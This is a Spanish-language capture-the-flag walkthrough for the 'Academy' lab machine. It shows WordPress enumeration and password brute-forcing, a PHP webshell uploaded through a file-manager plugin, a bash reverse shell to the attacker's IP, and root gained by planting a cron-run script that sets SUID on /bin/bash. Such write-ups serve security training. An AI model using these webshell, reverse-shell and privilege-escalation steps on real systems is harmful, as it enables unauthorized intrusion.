Academy TheHackerlabs
Introducción
En esta máquina Linux comenzaremos explorando los servicios expuestos y analizando un servidor web Apache que esconde algo más que su página por defecto. A través de técnicas de enumeración web, investigaremos una instalación de WordPress y las posibles debilidades de su configuración. Una vez obtenido acceso inicial al sistema, tendremos que analizar el entorno local para descubrir cómo aprovechar determinadas configuraciones para escalar priviegios.
Fase de reconocimiento
Identificación de objetivo en la red
1
nmap -sn 10.0.2.0/24
1
ping -c 2 10.0.2.15
Por el TTL podemos intuir que estamos ante una máquina Linux (TTL → 128 Windows - 64 Linux).
Escaneo de puertos
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.15 -oN allPorts
1
grep '^[0-9]' allPorts | cut -d '/' -f1 | xargs | sort | tr ' ' ','
1
nmap -p22,80 -sCV 10.0.2.15 -oN targeted
Tras el escaneo encontramos los puertos 22 y 80 abiertos correspondientes a los servicios SSH y HTTP respectivamente. El servicio SSH no es vulnerable a enumeración de usuarios ya que su versión es superior a la 7.7, en cuanto al servicio web vamos a enumerarlo.
Enumeración
Enumeración de servicio HTTP
1
whatweb http://10.0.2.15
1
nmap -p80 --script http-enum 10.0.2.15 -oN webScan
En el último escaneo de nmap utilizando el script http-enum descubrimos que nos enfrentamos al gestor de contenido Wordpress. Vamos a acceder a través del navegador para echarle un vistazo:
Parece que está intentando cargar unos recursos que no encuentra la web por lo que es probable que se esté aplicando virtualHosting, podemos revisar el código fuente de la página para obtener el dominio del que trata de cargar los recursos y añadirlo a nuestro /etc/hosts.
El dominio es academy.thl, vamos a añadirlo a nuestro archivo /etc/hosts para que cargue correctamente los recursos al acceder al sitio web.
Una vez hecho accedemos a la web a través del dominio y debería resolver y cagar los recursos de la web:
Efectivamente, ahora todo carga sin problema. En este punto vamos a utilizar la herramienta específica para enfrentarnos a estos escenarios, wpscan.
Enumeración de Wordpress con wpscan
1
wpscan --url http://academy.thl/wordpress -e vp,u --api-token="token"
El escaneo nos reporta varias cosas interesantes, entre ellas, la versión de Wordpress que está en uso, el tema utilizado y que está desactualizado y un usuario válido. En este punto podemos lanzar un ataque de fuerza bruta con esta misma herramienta contra el usuario válido mientras en paralelo vamos buscando vulnerabilidades conocidas para esta versión de cms e ideando un vector de ataque y así aprovechar el tiempo. Para ello:
1
searchsploit wordpress 6.5.3
Nada destacable, sin embargo el ataque de fuerza bruta…
Ataque de fuerza bruta contra el usuario “dylan”
1
wpscan --url http://academy.thl/wordpress -U dylan -P /usr/share/wordlists/rockyou.txt
Encontramos la credencial válida para el usuario “dylan” “password1”. Sabiendo esto vamos a autenticarnos en el gestor de contenido.
Al autenticarnos nos sale este aviso de verificación de correo electrónico con lo cual también averiguamos el correo del usuario “dylan” que es “dylan@dylan.es”.
Explotación
Abusando de subida de archivos con plugin File Manager
Navegando por el cms y viendo sus plugins y configuraciones encontramos el plugin File Manager el cual nos permite subir archivos, viendo esto podemos pensar en subir una webshell para ejecutar una rever shell y ganar acceso a la máquina víctima. Por ello vamos a ver si podemos hacerlo:
1
<?php system($_GET['cmd']); ?>
Accedemos al archivo a través del navegador:
1
http://academy.thl/wordpress/wp-content/uploads/cmd.php?cmd=id
Y efectivamente, logramos subir una webshell y obtenemos un RCE. En este punto vamos a entablarnos una reverse shell para realizar una intrusión en la máquina víctima.
Entablando Reverse Shell
1
http://academy.thl/wordpress/wp-content/uploads/cmd.php?cmd=bash -c 'bash -i >& /dev/tcp/10.0.2.13/443 0>&1'
Al pasárselo por el método GET a través de la url es necesario pasarle los “&” url-encodeados para evitar conflictos, es decir “%26”.
1
http://academy.thl/wordpress/wp-content/uploads/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.13/443 0>%261'
Nos ponemos en escucha en nuestra máquina atacante:
1
nc -nlvp 443
Lanzamos la reverse shell y:
Antes de empezar con la enumeración local para escalar privilegios vamos a aplicar un tratamiento de la TTY para conseguir una consola plenamente interactiva.
Tratamiento de la TTY
1
2
3
4
5
6
script /dev/null -c bash
# ctrl +z
stty raw -echo;fg
reset xterm
export TERM=xterm SHELL=bash
stty rows 53 columns 206
Una vez hecho podemos proceder con la enumeración local.
Escalada de privilegios
Enumeración local
1
grep 'sh$' /etc/passwd
Tras probar varios vectores comunes para escalar privilegios: permisos suid, capabilities, credenciales hardcodeadas en archivos de configuración (común en estos escenarios con wordpress), privilegios a nivel de sudoers… No encontramos nada realmente de lo que tirar para escalar privilegios. Encontramos cosas que llaman la atención como:
Un script en python que se llama “backup.py” y contiene unas credenciales para el usuario dylan a una máquina remota, dichas credenciales no aplican para ningún usuario del sistema víctima.
Explotación de tareas Cron utilizando Pspy
Viendo esto debemos pensar en tareas cron y tratar de reunir más información para saber que ocurre realmente en el sistema, para esto podemos usar la herramienta pspy:
1
2
3
# la máquina cuenta con wget por lo que podemos instalarla de esta forma
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
La ejecutamos y encontramos lo siguiente:
Vemos que cada x tiempo se trata de ejecutar el script “backup.sh” pero este script no está en el directorio /opt, está “backup.py”. Aprovechándonos de esto podemos ser nosotros quienes creemos ese script en bash para que se ejecuten las instrucciones que queramos, por ejemplo:
1
chmod +s /bin/bash
Podemos crear el archivo “backup.sh” con ese contenido y esperar a que se ejecute, para validar cuando se ejecute el script podemos ejecutar;
1
watch -n 1 ls -l /bin/bash
Cuando se ejecute el script, al segundo lo veremos con el pemiso suid que indicamos en el script pudiendo así escalar privilegios al usuario root.
En este punto ejecutamos:
1
/bin/bash -p
Con esto habríamos completado la máquina Academy de TheHackersLabs !!!




























